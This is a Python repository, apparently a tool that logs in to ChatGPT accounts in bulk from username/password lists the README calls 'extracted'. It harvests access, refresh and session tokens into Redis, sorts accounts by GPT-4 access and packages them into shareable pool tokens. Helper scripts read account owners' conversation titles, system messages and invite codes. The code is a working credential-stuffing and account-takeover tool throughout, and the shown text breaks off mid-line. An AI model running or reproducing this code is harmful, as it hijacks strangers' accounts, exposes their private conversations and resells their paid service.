├── .gitignore ├── README.md ├── check_login.py ├── config.py.example ├── consume_user.py ├── conversation_check.py ├── custom_log.py ├── gen_refresh.py ├── gen_share_token.py ├── gen_tokens_json.py ├── load_session.py ├── main.py ├── other.py ├── pool_token.py ├── product_user.py ├── redis_cache.py ├── refresh.py ├── requirement.txt ├── session_refresh.py └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | # cache 2 | __pycache__ 3 | 4 | # env 5 | .vscode 6 | .venv 7 | .env 8 | 9 | # log 10 | log.txt 11 | 12 | # input file 13 | origin.txt 14 | 15 | # config 16 | config.py 17 | 18 | # output 19 | *.txt 20 | tokens.json 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 批量账号token获取 2 | 3 | ## 1. 说明 4 | 5 | 通过提取获得的批量账密,尝试获取 token ,存 redis 保存 access token 和 refresh token 。 6 | 7 | ## 2. 使用方法 8 | 9 | ### 2.1. 安装依赖 10 | 11 | ```shell 12 | python -m venv .venv 13 | source .venv/bin/activate 14 | pip install -r requirements.txt 15 | ``` 16 | 17 | ### 2.2. 配置 18 | 19 | ```shell 20 | cp config.py.example config.py 21 | ``` 22 | 23 | 修改 `config.py` 中的配置项,fakeopen 的接口可能关闭,如无自行部署 [pandora-next](https://github.com/pandora-next/deploy) ,可以使用 `https://shared.3211000.xyz/proxy` 作为 `BASE_URL` 。 24 | 25 | 26 | ### 2.3. 运行 27 | 28 | ```shell 29 | python main.py 30 | ``` 31 | 32 | ### 2.4. token定时刷新 33 | 34 | `crontab` 配置定时任务 35 | 36 | ```shell 37 | 0 12 * * * cd /path/to/your/project && /path/to/your/project/.venv/bin/python /path/to/your/project/refresh.py 38 | ``` 39 | 40 | > `refresh.py` 需要直连 `openai` ,也可参考 [fakeopen提供接口](https://github.com/zhile-io/pandora/blob/master/doc/fakeopen.md#3-authrefresh) 自行更改。 41 | 42 | ### 部分脚本作用 43 | 44 | - `refresh.py`:定时刷新 token ,且校验密码是否更改 45 | - `gen_share_token.py`:生成 share_token & pool_token ,且校验账号是否有效 46 | - `redis_cache.py`:redis 缓存相关,可获取指定要求 token ,例如未改密码,账号有效等 47 | - `pool_token.py`:基于存活的 share_token 快速生成 pool_token 48 | - `other.py`:其他脚本,例如批量检测是否4,是否存在订阅分享等 49 | 50 | ## 3. TODO 51 | 52 | TODO but not to do, just for summary. 53 | 54 | - [ ] 消费者生产者模型出于练手的角度写的,结果生产者能力远大于消费者,而消费者因为 api 本身的限制,无法并发,导致生产者和消费者均只能单线程运行,毫无意义。 55 | 56 | **理论上可以通过控制生产者消费者的线程数达到平衡的效果,结果消费者的能力有限,生产者的能力过强,退化成了先生成后消费的模型。** 57 | 58 | - [ ] 之前考虑 redis 相关的操作都放在 `redis_cache.py` 中,但是后来发现 `redis_cache.py` 中的方法太多过于冗余,且部分操作仅仅是一行代码,所以部分代码直接引用了 `redis` 模块直接操作 redis ,代码不够统一。 59 | 60 | - [ ] 配置文件逻辑似乎有问题,导致每次添加新的配置项,即使只需要用到默认项,也需要在配置文件中添加,否则会报错。 61 | 62 | 下次考虑使用 `settings.yaml` ,`config.py` 配置默认项,`settings.yaml` 通过配置项覆盖默认项。 63 | 64 | - [ ] redis 中的数据结构设成 `str json` 的格式似乎是一个很大的问题,导致每次仅更新单个字段或新增字段,都需要 `dumps` 一次,然后 `loads` 一次,且部分代码更新字段时是覆盖式的更新,还会导致其他字段丢失。 65 | 66 | 下次考虑使用 `hash` 。 67 | 68 | - [ ] 理论上隐私数据最佳实践可能是使用环境变量,但是代码结构已经一团糟了,还是统一到配置文件中。 69 | 70 | - [ ] 本来是练手的小脚本,结果随着需求的增加,代码越来越乱,fakeopen 的接口关闭,以前的硬编码需要手动更新,改的实在是痛苦, GG。 71 | 72 | ## 4. 参考 73 | 74 | 1. [如何获取access token](https://zhile.io/2023/05/19/how-to-get-chatgpt-access-token-via-pkce.html) 75 | 2. [已提供的简单接口](https://github.com/zhile-io/pandora/blob/master/doc/fakeopen.md#2-authlogin) -------------------------------------------------------------------------------- /check_login.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : check_login.py 5 | @Time : 2023/12/28 22:59:05 6 | @Author : lvguanjun 7 | @Desc : check_login.py 8 | """ 9 | 10 | #!/usr/bin/env python 11 | # -*- coding: utf-8 -*- 12 | """ 13 | @File : gen_refresh.py 14 | @Time : 2023/12/22 17:58:45 15 | @Author : lvguanjun 16 | @Desc : gen_refresh.py 17 | """ 18 | 19 | import datetime 20 | import json 21 | 22 | import requests 23 | 24 | from config import DATETIME_FORMAT, LOGIN_URL 25 | from redis_cache import redis_cli, set_error_to_redis, update_and_add_to_redis 26 | 27 | 28 | def get_need_check_user() -> list: 29 | """ 30 | 获取需要检查的用户 31 | """ 32 | 33 | users = [] 34 | for user in redis_cli.keys("*==*"): 35 | token = redis_cli.get(user) 36 | token = json.loads(token) 37 | expire_time = token["expired_time"] 38 | expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 39 | if datetime.datetime.now() > expire_time: 40 | is_expired = True 41 | else: 42 | is_expired = False 43 | if redis_cli.sismember("error-user", user): 44 | # # 从 error-uesr 删除 45 | # redis_cli.srem("error-user", user) 46 | print(f"{user=} in error set") 47 | continue 48 | if any( 49 | [ 50 | token.get("change_password"), 51 | token.get("deactivated"), 52 | ] 53 | ): 54 | users.append((user, is_expired)) 55 | return users 56 | 57 | 58 | def check_login(user, is_expired): 59 | payload = { 60 | "username": user.split("==")[0], 61 | "password": user.split("==")[1], 62 | } 63 | headeds = {"content-type": "application/x-www-form-urlencoded"} 64 | 65 | # check login 66 | response = requests.request("POST", LOGIN_URL, data=payload, headers=headeds) 67 | if response.status_code != 200: 68 | response_text = response.text 69 | if "wrong username or password" in response_text: 70 | print(f"{user=} wrong username or password") 71 | set_error_to_redis(user) 72 | if is_expired: 73 | print(f"{user=} is expired, and delete") 74 | redis_cli.delete(user) 75 | return False 76 | elif "been deleted or deactivated" in response_text: 77 | print(f"{user=} been deleted or deactivated") 78 | set_error_to_redis(user) 79 | redis_cli.delete(user) 80 | return False 81 | print(f"{user=} check login failed") 82 | print(response.status_code, response.text) 83 | return False 84 | response = response.json() 85 | response["change_password"] = None 86 | response["deactivated"] = None 87 | update_and_add_to_redis(user, response) 88 | print(f"{user=} check login success") 89 | 90 | 91 | if __name__ == "__main__": 92 | users = get_need_check_user() 93 | for user, is_expired in users: 94 | check_login(user, is_expired) 95 | # break 96 | -------------------------------------------------------------------------------- /config.py.example: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : config.py 5 | @Time : 2023/10/09 19:48:20 6 | @Author : lvguanjun 7 | @Desc : config.py 8 | """ 9 | 10 | 11 | import subprocess 12 | 13 | import redis 14 | 15 | DEBUG_MODULE = True 16 | 17 | redis_config = { 18 | "host": "127.0.0.1", 19 | "db": 1, 20 | "port": 6379, 21 | "decode_responses": True, 22 | } 23 | redis_cli = redis.Redis(**redis_config) 24 | 25 | gpt3_redis_cli = redis.Redis(**redis_config) 26 | gpt3_redis_cli.select(2) 27 | 28 | # token提前过期时间 29 | TOKEN_EXPIRE_EXTRA_TIME = 432000 # 5天 30 | 31 | # refresh 提前刷新时间 32 | REFRESH_EXTRA_TIME = -1 # 刷新所有token 33 | 34 | # datetime格式 35 | DATETIME_FORMAT = "%Y-%m-%d %H:%M:%S" 36 | 37 | # 代理,针对 wsl2 配置,个人无需配置设置为 None 即可 38 | output = subprocess.check_output( 39 | 'cat /etc/resolv.conf | grep "nameserver" | cut -f 2 -d " "', shell=True 40 | ) 41 | host_ip = output.decode().strip() 42 | PROXY = f"http://{host_ip}:7890" 43 | 44 | # share token 唯一标识 45 | SHARE_TOKEN_UNIQUE_NAME = "xxxx" 46 | 47 | # 需要更新的 pool token,为 None 则生成新的 pool token 48 | POOL_TOKEN = "pk-***" 49 | 50 | # 登录接口的url 51 | LOGIN_URL = "https://ai.fakeopen.com/api/login" 52 | 53 | # base_url,fakeopen全面关停,需要自建 pandora-next 的 proxy 模式 54 | BASE_URL = "https://ai.fakeopen.com/" 55 | -------------------------------------------------------------------------------- /consume_user.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : consume_user.py 5 | @Time : 2023/10/09 20:03:35 6 | @Author : lvguanjun 7 | @Desc : consume_user.py 8 | """ 9 | 10 | # -*- coding: utf-8 -*- 11 | 12 | import os 13 | import time 14 | from queue import Queue 15 | 16 | import requests 17 | 18 | from config import BASE_URL, LOGIN_URL 19 | from custom_log import logger 20 | from redis_cache import ( 21 | get_from_redis, 22 | is_in_error_set, 23 | set_error_to_redis, 24 | set_to_gpt3_redis, 25 | set_to_redis, 26 | gpt3_redis_cli, 27 | ) 28 | 29 | 30 | class AccountInvalidException(Exception): 31 | pass 32 | 33 | 34 | def get_token(user_name, password) -> dict: 35 | url = LOGIN_URL 36 | payload = { 37 | "username": user_name, 38 | "password": password, 39 | } 40 | headeds = {"content-type": "application/x-www-form-urlencoded"} 41 | response = requests.request("POST", url, data=payload, headers=headeds) 42 | if response.status_code == 200: 43 | return response.json() 44 | if response.status_code == 500 and any( 45 | [ 46 | "wrong email or password" in response.text, 47 | "it has been deleted or deactivated" in response.text, 48 | "wrong username or password" in response.text, 49 | ] 50 | ): 51 | raise AccountInvalidException 52 | raise Exception(f"{response.status_code=}, {response.text=}") 53 | 54 | 55 | def check_is_gpt4(token): 56 | url = BASE_URL + "/backend-api/models" 57 | 58 | headers = {"Authorization": f"Bearer {token}"} 59 | 60 | try: 61 | response = requests.request("GET", url, headers=headers) 62 | if response.status_code == 200: 63 | categories = response.json()["categories"] 64 | for category in categories: 65 | if category["category"] == "gpt_4": 66 | return True 67 | return False 68 | raise Exception(f"{response.status_code=}, {response.text=}") 69 | except Exception as e: 70 | raise Exception(f"{e=}") 71 | 72 | 73 | def consume_user(q: Queue, sleep_time: int = 0, max_consume: int = 0): 74 | size = 0 75 | while True: 76 | if max_consume and size >= max_consume: 77 | return 78 | user = q.get() 79 | if user is None: 80 | break 81 | user_name, password = user 82 | if is_in_error_set(f"{user_name}=={password}"): 83 | logger.info(f"{user_name} in error set") 84 | continue 85 | if get_from_redis(f"{user_name}=={password}") is not None: 86 | logger.info(f"{user_name} already in redis") 87 | continue 88 | if get_from_redis(f"{user_name}=={password}", gpt3_redis_cli) is not None: 89 | logger.info(f"{user_name} already in gpt3 redis") 90 | continue 91 | size += 1 92 | try: 93 | res: dict = get_token(user_name, password) 94 | if not check_is_gpt4(res["access_token"]): 95 | set_to_gpt3_redis(f"{user_name}=={password}", res) 96 | set_error_to_redis(f"{user_name}=={password}") 97 | logger.info(f"{user_name} not gpt4") 98 | time.sleep(sleep_time) 99 | continue 100 | set_to_redis(f"{user_name}=={password}", res) 101 | logger.info(f"{user_name} add to redis") 102 | except AccountInvalidException: 103 | set_error_to_redis(f"{user_name}=={password}") 104 | logger.info(f"account invalid: {user_name}") 105 | except Exception as e: 106 | logger.error(f"{user_name=}, {password=}, {e=}") 107 | time.sleep(sleep_time) 108 | 109 | 110 | if __name__ == "__main__": 111 | pass 112 | -------------------------------------------------------------------------------- /conversation_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : conversation_check.py 5 | @Time : 2024/01/09 17:17:36 6 | @Author : lvguanjun 7 | @Desc : conversation_check.py 8 | """ 9 | 10 | 11 | import requests 12 | 13 | from config import BASE_URL 14 | from redis_cache import get_survive_share_token 15 | 16 | 17 | def check_conversation(conversation_id, token): 18 | url = BASE_URL + f"/backend-api/conversation/{conversation_id}" 19 | response = requests.get(url, headers={"Authorization": f"Bearer {token}"}) 20 | if response.status_code == 200: 21 | return True 22 | return False 23 | 24 | 25 | if __name__ == "__main__": 26 | tokens, _ = get_survive_share_token() 27 | for token in tokens: 28 | conversation_id = "0c24a2e3-650d-4f29" 29 | check_res = check_conversation(conversation_id, token) 30 | if check_res: 31 | print(token) 32 | break 33 | -------------------------------------------------------------------------------- /custom_log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : custom_log.py 5 | @Time : 2023/10/09 19:32:00 6 | @Author : lvguanjun 7 | @Desc : custom_log.py 8 | """ 9 | 10 | 11 | import logging 12 | from config import DEBUG_MODULE 13 | 14 | logger = logging.getLogger(__name__) 15 | logger.setLevel(logging.INFO) 16 | 17 | formatter = logging.Formatter( 18 | "[%(asctime)s %(filename)s %(levelname)s] %(message)s", "%Y-%m-%d %H:%M:%S" 19 | ) 20 | 21 | file_handler = logging.FileHandler("log.txt") 22 | file_handler.setFormatter(formatter) 23 | logger.addHandler(file_handler) 24 | 25 | if DEBUG_MODULE: 26 | console_handler = logging.StreamHandler() 27 | console_handler.setFormatter(formatter) 28 | logger.addHandler(console_handler) 29 | -------------------------------------------------------------------------------- /gen_refresh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : gen_refresh.py 5 | @Time : 2023/12/22 17:58:45 6 | @Author : lvguanjun 7 | @Desc : gen_refresh.py 8 | """ 9 | 10 | import datetime 11 | import json 12 | 13 | import requests 14 | 15 | from config import BASE_URL, DATETIME_FORMAT, LOGIN_URL 16 | from custom_log import logger 17 | from redis_cache import redis_cli, update_and_add_to_redis 18 | 19 | 20 | def get_need_refresh_user() -> list: 21 | """ 22 | 获取存活但未有refresh_token的user 23 | """ 24 | users = [] 25 | for user in redis_cli.keys("*==*"): 26 | token = redis_cli.get(user) 27 | token = json.loads(token) 28 | expire_time = token["expired_time"] 29 | expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 30 | if datetime.datetime.now() > expire_time: 31 | continue 32 | if redis_cli.sismember("error-user", user): 33 | print(f"{user=} in error set") 34 | continue 35 | if all( 36 | [ 37 | not token.get("change_password"), 38 | not token.get("deactivated"), 39 | not token.get("refresh_token"), 40 | ] 41 | ): 42 | users.append(user) 43 | return users 44 | 45 | 46 | def get_refresh_token(user): 47 | url = BASE_URL + "/api/auth/login2" 48 | 49 | payload = { 50 | "username": user.split("==")[0], 51 | "password": user.split("==")[1], 52 | } 53 | headeds = {"content-type": "application/x-www-form-urlencoded"} 54 | 55 | # check login 56 | response = requests.request("POST", LOGIN_URL, data=payload, headers=headeds) 57 | if response.status_code != 200: 58 | print(f"{user=} check login failed") 59 | print(response.status_code, response.text) 60 | return None 61 | 62 | response = requests.request("POST", url, data=payload, headers=headeds) 63 | if response.status_code == 200: 64 | return response.json() 65 | else: 66 | print(f"{user=} get refresh token failed") 67 | print(response.status_code, response.text) 68 | return None 69 | 70 | 71 | if __name__ == "__main__": 72 | max_count = 1 73 | count = 0 74 | users = get_need_refresh_user() 75 | for user in users: 76 | if count >= max_count: 77 | break 78 | refresh_token = get_refresh_token(user) 79 | count += 1 80 | if refresh_token is None: 81 | continue 82 | # 打个日志,毕竟1000额度一次:D 83 | logger.info(f"{user=} {refresh_token=}") 84 | update_and_add_to_redis(user, refresh_token) 85 | -------------------------------------------------------------------------------- /gen_share_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : gen_share_token.py 5 | @Time : 2023/10/12 18:03:39 6 | @Author : lvguanjun 7 | @Desc : gen_share_token.py 8 | """ 9 | 10 | import requests 11 | 12 | from config import BASE_URL, POOL_TOKEN, SHARE_TOKEN_UNIQUE_NAME 13 | from custom_log import logger 14 | 15 | from concurrent.futures import ThreadPoolExecutor 16 | from redis_cache import get_all_token, set_to_redis 17 | 18 | 19 | def get_share_token(token): 20 | if share_token := token.get("share_token"): 21 | return share_token 22 | 23 | url = BASE_URL + "/api/token/register" 24 | 25 | payload = { 26 | "unique_name": SHARE_TOKEN_UNIQUE_NAME, 27 | "access_token": token["access_token"], 28 | "site_limit": "", 29 | "expires_in": 0, 30 | "show_conversations": True, 31 | "show_userinfo": True, 32 | } 33 | 34 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 35 | 36 | try: 37 | response = requests.request("POST", url, headers=headers, data=payload) 38 | except Exception as e: 39 | logger.error(f"get share token exceptd, {e=}") 40 | return None 41 | 42 | if response.status_code == 200: 43 | share_token = response.json()["token_key"] 44 | token["share_token"] = share_token 45 | set_to_redis(token["user"], token) 46 | return share_token 47 | else: 48 | logger.error( 49 | f"get share token failed, {response.status_code=}, {response.text=}" 50 | ) 51 | return None 52 | 53 | 54 | def check_share_token(share_token): 55 | url = BASE_URL + "/backend-api/models" 56 | 57 | headers = {"Authorization": f"Bearer {share_token}"} 58 | 59 | try: 60 | response = requests.request("GET", url, headers=headers) 61 | except Exception as e: 62 | logger.error(f"check share token exceptd, {e=}") 63 | return False 64 | 65 | if response.status_code == 200: 66 | return True 67 | if response.status_code == 401 and any( 68 | [ 69 | "Your OpenAI account has been deactivated" in response.text, 70 | "Your authentication token has expired." in response.text, 71 | ] 72 | ): 73 | logger.error(f"account has been deactivated or token has expired") 74 | return False 75 | logger.error( 76 | f"check share token exceptd, {response.status_code=}, {response.text=}" 77 | ) 78 | return False 79 | 80 | 81 | def get_user_name(share_token) -> str: 82 | url = BASE_URL + "/backend-api/me" 83 | 84 | headers = {"Authorization": f"Bearer {share_token}"} 85 | 86 | try: 87 | response = requests.request("GET", url, headers=headers) 88 | except Exception as e: 89 | logger.error(f"get user name exceptd, {e=}") 90 | return None 91 | 92 | if response.status_code == 200: 93 | return response.json()["name"] 94 | logger.error(f"get user name failed, {response.status_code=}, {response.text=}") 95 | return None 96 | 97 | 98 | def worker(token, check_all: bool = False): 99 | share_token = get_share_token(token) 100 | if not share_token: 101 | return 102 | if not check_all and token.get("deactivated"): 103 | return 104 | if check_share_token(share_token): 105 | if check_all and token.pop("deactivated", None): 106 | set_to_redis(token["user"], token) 107 | logger.info(f"{share_token} is valid") 108 | else: 109 | logger.error(f"get share token failed, {token['user']=}") 110 | token["deactivated"] = True 111 | set_to_redis(token["user"], token) 112 | 113 | 114 | def main(check_all: bool = False): 115 | tokens = get_all_token() 116 | with ThreadPoolExecutor(max_workers=10) as executor: 117 | for token in tokens: 118 | executor.submit(worker, token, check_all) 119 | logger.info("All tasks are completed.") 120 | 121 | 122 | def gen_pool_token(share_tokens: list, pool_token: str = None): 123 | url = BASE_URL + "/api/pool/update" 124 | 125 | payload = { 126 | "pool_token": pool_token, 127 | "share_tokens": "\n".join(share_tokens), 128 | } 129 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 130 | 131 | response = requests.request("POST", url, headers=headers, data=payload) 132 | 133 | if response.status_code == 200: 134 | return response.json()["pool_token"] 135 | else: 136 | logger.error( 137 | f"gen pool token failed, {response.status_code=}, {response.text=}" 138 | ) 139 | return None 140 | 141 | 142 | if __name__ == "__main__": 143 | # cur_count, err_count, share_token = main() 144 | # # pool_token = gen_pool_token(share_token, POOL_TOKEN) 145 | # # print(f"{cur_count=}, {err_count=}, {pool_token=}") 146 | # print(f"{cur_count=}, {err_count=}, {share_token=}") 147 | main() -------------------------------------------------------------------------------- /gen_tokens_json.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : gen_tokens_json.py 5 | @Time : 2023/11/15 15:03:26 6 | @Author : lvguanjun 7 | @Desc : gen_tokens_json.py 8 | """ 9 | 10 | import datetime 11 | import json 12 | 13 | from config import DATETIME_FORMAT 14 | from redis_cache import gpt3_redis_cli, redis_cli 15 | 16 | 17 | def gen_tokens_json(is_plus: bool = False, max_index: int = 100): 18 | if max_index <= 0: 19 | return {} 20 | _redis_cli = gpt3_redis_cli 21 | if is_plus: 22 | _redis_cli = redis_cli 23 | tokens_json = {} 24 | index = 0 25 | for user in _redis_cli.keys("*==*"): 26 | token = _redis_cli.get(user) 27 | token = json.loads(token) 28 | expire_time = token["expired_time"] 29 | expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 30 | if datetime.datetime.now() > expire_time: 31 | continue 32 | if all( 33 | [ 34 | not token.get("deactivated"), 35 | not token.get("change_password"), 36 | token.get("session_token"), 37 | ] 38 | ): 39 | if index == max_index: 40 | break 41 | user_name = token["user"].split("@")[0] 42 | key = user_name 43 | if is_plus: 44 | key = f" {user_name}" 45 | tokens_json[key] = { 46 | "token": token["session_token"], 47 | "shared": True, 48 | "show_user_info": True, 49 | "plus": is_plus, 50 | } 51 | index += 1 52 | return tokens_json 53 | 54 | 55 | if __name__ == "__main__": 56 | tokens_json_file = "tokens.json" 57 | max_index = 100 58 | plus_tokens = gen_tokens_json(is_plus=True) 59 | not_plus_tokens = gen_tokens_json( 60 | is_plus=False, max_index=max_index - len(plus_tokens) 61 | ) 62 | tokens_json = {**plus_tokens, **not_plus_tokens} 63 | with open(tokens_json_file, "w") as f: 64 | json.dump(tokens_json, f, indent=4) 65 | -------------------------------------------------------------------------------- /load_session.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : load_session.py 5 | @Time : 2024/01/21 02:13:51 6 | @Author : lvguanjun 7 | @Desc : load_session.py 8 | """ 9 | 10 | import json 11 | from concurrent.futures import ThreadPoolExecutor 12 | 13 | import requests 14 | 15 | from config import BASE_URL 16 | from consume_user import check_is_gpt4 17 | from redis_cache import update_and_add_to_redis, update_and_add_to_redis_gpt3 18 | from session_refresh import session_refresh 19 | 20 | 21 | def get_session(file): 22 | with open(file, "r") as f: 23 | for line in f: 24 | line = line.strip() 25 | if not line or "session_token" not in line: 26 | continue 27 | try: 28 | yield json.loads(line) 29 | except Exception: 30 | print(line) 31 | continue 32 | 33 | 34 | def get_user_email(token): 35 | url = BASE_URL + "/backend-api/me" 36 | headeds = {"Authorization": f"Bearer {token}"} 37 | response = requests.request("GET", url, headers=headeds) 38 | if response.status_code == 200: 39 | return response.json().get("email") 40 | else: 41 | print(response.status_code, response.text) 42 | 43 | 44 | def check_session(session_token): 45 | if session_token := session_token.get("session_token"): 46 | response = session_refresh(session_token) 47 | if response.status_code == 200: 48 | token_info = response.json() 49 | access_token = token_info.get("access_token") 50 | user = get_user_email(access_token) + "==mock_password" 51 | is_gpt4 = check_is_gpt4(access_token) 52 | if is_gpt4: 53 | print("add gpt4 to redis") 54 | update_and_add_to_redis(user, token_info) 55 | else: 56 | print("add gpt3 to redis") 57 | update_and_add_to_redis_gpt3(user, token_info) 58 | else: 59 | print(response.status_code, response.text) 60 | 61 | 62 | if __name__ == "__main__": 63 | file = "res.txt" 64 | with ThreadPoolExecutor(max_workers=10) as executor: 65 | for session_token in get_session(file): 66 | executor.submit(check_session, session_token) 67 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : main.py 5 | @Time : 2023/10/10 00:49:49 6 | @Author : lvguanjun 7 | @Desc : main.py 8 | """ 9 | 10 | import threading 11 | from queue import Queue 12 | 13 | from consume_user import consume_user 14 | from product_user import product_user 15 | 16 | if __name__ == "__main__": 17 | # 请求限速6/min" 18 | sleep_time = 0 19 | file = "origin.txt" 20 | max_consume = 10 21 | q = Queue() 22 | p_t = threading.Thread(target=product_user, args=(file, q)) 23 | c_t = threading.Thread(target=consume_user, args=(q, sleep_time, max_consume)) 24 | p_t.start() 25 | c_t.start() 26 | p_t.join() 27 | c_t.join() 28 | -------------------------------------------------------------------------------- /other.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : other.py 5 | @Time : 2023/10/15 20:39:18 6 | @Author : lvguanjun 7 | @Desc : other.py 8 | """ 9 | 10 | import json 11 | from concurrent.futures import ThreadPoolExecutor 12 | 13 | import requests 14 | 15 | from config import BASE_URL 16 | from consume_user import check_is_gpt4 17 | from pool_token import get_active_token 18 | from redis_cache import ( 19 | from_share_token_get_user, 20 | gpt3_redis_cli, 21 | redis_cli, 22 | set_to_gpt3_redis, 23 | set_to_redis, 24 | ) 25 | 26 | 27 | def _check_is_gpt4(share_token, show_true=False): 28 | try: 29 | if not check_is_gpt4(share_token): 30 | if show_true: 31 | print("false") 32 | else: 33 | print("false", share_token) 34 | else: 35 | if show_true: 36 | print("true", share_token) 37 | else: 38 | print("true") 39 | except Exception as e: 40 | print(e) 41 | print(share_token, "exception") 42 | 43 | 44 | def batch_check_is_gpt4(share_tokens, show_true=False): 45 | with ThreadPoolExecutor(max_workers=10) as executor: 46 | for share_token in share_tokens: 47 | executor.submit(_check_is_gpt4, share_token, show_true) 48 | 49 | 50 | def batch_check_invite(share_tokens): 51 | url = BASE_URL + "/backend-api/referral/invites" 52 | try: 53 | for token in share_tokens: 54 | headers = {"Authorization": f"Bearer {token}"} 55 | response = requests.request("GET", url, headers=headers) 56 | if response.status_code == 200: 57 | resp_dict = response.json() 58 | invite_codes = resp_dict["invite_codes"] 59 | if invite_codes: 60 | print(f"{token=}\n{resp_dict}") 61 | else: 62 | print(f"not claimed_invites and invite_codes") 63 | pass 64 | else: 65 | print(response.status_code, response.text) 66 | except Exception as e: 67 | print(e) 68 | 69 | 70 | def send_gpt4_to_redis1(share_token): 71 | sure = input("do you sure now it is gpt4 redis?? y or n: ") 72 | if sure != "y": 73 | print("thanks") 74 | return 75 | key = from_share_token_get_user(share_token, gpt3_redis_cli) 76 | print(key) 77 | value = gpt3_redis_cli.get(key) 78 | value = json.loads(value) 79 | set_to_redis(key, value) 80 | gpt3_redis_cli.delete(key) 81 | 82 | 83 | def send_gpt3_to_redis2(share_token): 84 | sure = input("do you sure now it is gpt4 redis?? y or n: ") 85 | if sure != "y": 86 | print("thanks") 87 | return 88 | key = from_share_token_get_user(share_token) 89 | print(key) 90 | value = redis_cli.get(key) 91 | value = json.loads(value) 92 | set_to_gpt3_redis(key, value) 93 | redis_cli.delete(key) 94 | 95 | 96 | def check_all_tools(token): 97 | url = BASE_URL + "/backend-api/models" 98 | 99 | headers = {"Authorization": f"Bearer {token}"} 100 | 101 | try: 102 | response = requests.request("GET", url, headers=headers) 103 | if response.status_code == 200: 104 | categories = response.text 105 | if "All Tools" in categories: 106 | return True 107 | return False 108 | except Exception as e: 109 | print(e) 110 | 111 | 112 | def get_conversions(token: str, offest: int = 0, show_all: bool = False): 113 | url = BASE_URL + f"/backend-api/conversations?offset={offest}" 114 | 115 | limit = 50 116 | 117 | headers = {"Authorization": f"Bearer {token}"} 118 | 119 | response = requests.request("GET", url, headers=headers) 120 | 121 | if response.status_code != 200: 122 | return None 123 | 124 | data = response.json() 125 | for item in data["items"]: 126 | if item["title"] != "New chat": 127 | yield item["title"] 128 | if show_all: 129 | if offest + limit < data["total"]: 130 | yield from get_conversions(token, offest + limit, show_all) 131 | 132 | 133 | def get_user_system_messages(token): 134 | url = BASE_URL + "/backend-api/user_system_messages" 135 | 136 | headers = {"Authorization": f"Bearer {token}"} 137 | 138 | response = requests.request("GET", url, headers=headers) 139 | 140 | if response.status_code != 200: 141 | return None 142 | return response.json() 143 | 144 | 145 | if __name__ == "__main__": 146 | active_tokens = get_active_token() 147 | 148 | # for token in active_tokens: 149 | # if check_all_tools(token): 150 | # print(token) 151 | # print(from_share_token_get_user(token)) 152 | 153 | # for token in active_tokens: 154 | # for title in get_conversions(token, show_all=True): 155 | # print(title) 156 | 157 | # for token in active_tokens: 158 | # print(get_user_system_messages(token)) 159 | 160 | batch_check_is_gpt4(active_tokens, show_true=True) 161 | # batch_check_invite(active_tokens) 162 | # send_gpt4_to_redis1("fk-uTT1JTWO8LkTl9HKK") 163 | -------------------------------------------------------------------------------- /pool_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : pool_token.py 5 | @Time : 2023/10/23 16:33:01 6 | @Author : lvguanjun 7 | @Desc : pool_token.py 8 | """ 9 | 10 | import asyncio 11 | import datetime 12 | import json 13 | 14 | import aiohttp 15 | import requests 16 | 17 | from config import BASE_URL, DATETIME_FORMAT, POOL_TOKEN 18 | from custom_log import logger 19 | from redis_cache import redis_cli 20 | 21 | 22 | def get_active_token(extra_time: int = 0) -> list: 23 | """ 24 | 获取所有幸存的的share_token 25 | """ 26 | survive_tokens = [] 27 | for user in redis_cli.keys("*==*"): 28 | token = redis_cli.get(user) 29 | token = json.loads(token) 30 | expire_time = token["expired_time"] 31 | expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 32 | if ( 33 | datetime.datetime.now() + datetime.timedelta(seconds=extra_time) 34 | > expire_time 35 | ): 36 | continue 37 | if all( 38 | [ 39 | not token.get("deactivated"), 40 | ] 41 | ): 42 | survive_tokens.append(token["share_token"]) 43 | return survive_tokens 44 | 45 | 46 | async def check_chat(session, token) -> bool: 47 | url = BASE_URL + "/v1/chat/completions" 48 | 49 | rate_sleep_time = 5 # 触发限速后,sleep 5s 50 | 51 | payload = { 52 | "messages": [ 53 | {"role": "user", "content": "hi"}, 54 | ], 55 | "model": "gpt-4-32k", 56 | "temperature": 1, 57 | "presence_penalty": 0, 58 | "top_p": 1, 59 | "frequency_penalty": 0, 60 | "stream": False, 61 | "max_tokens": 1, 62 | } 63 | headers = {"Authorization": f"Bearer {token}"} 64 | 65 | async with session.post(url, headers=headers, json=payload) as response: 66 | print(response.status) 67 | if response.status == 429 and await response.json() == { 68 | "detail": "rate limited." 69 | }: 70 | print(f"rate limited, and sleep {rate_sleep_time}s") 71 | await asyncio.sleep(rate_sleep_time) 72 | return await 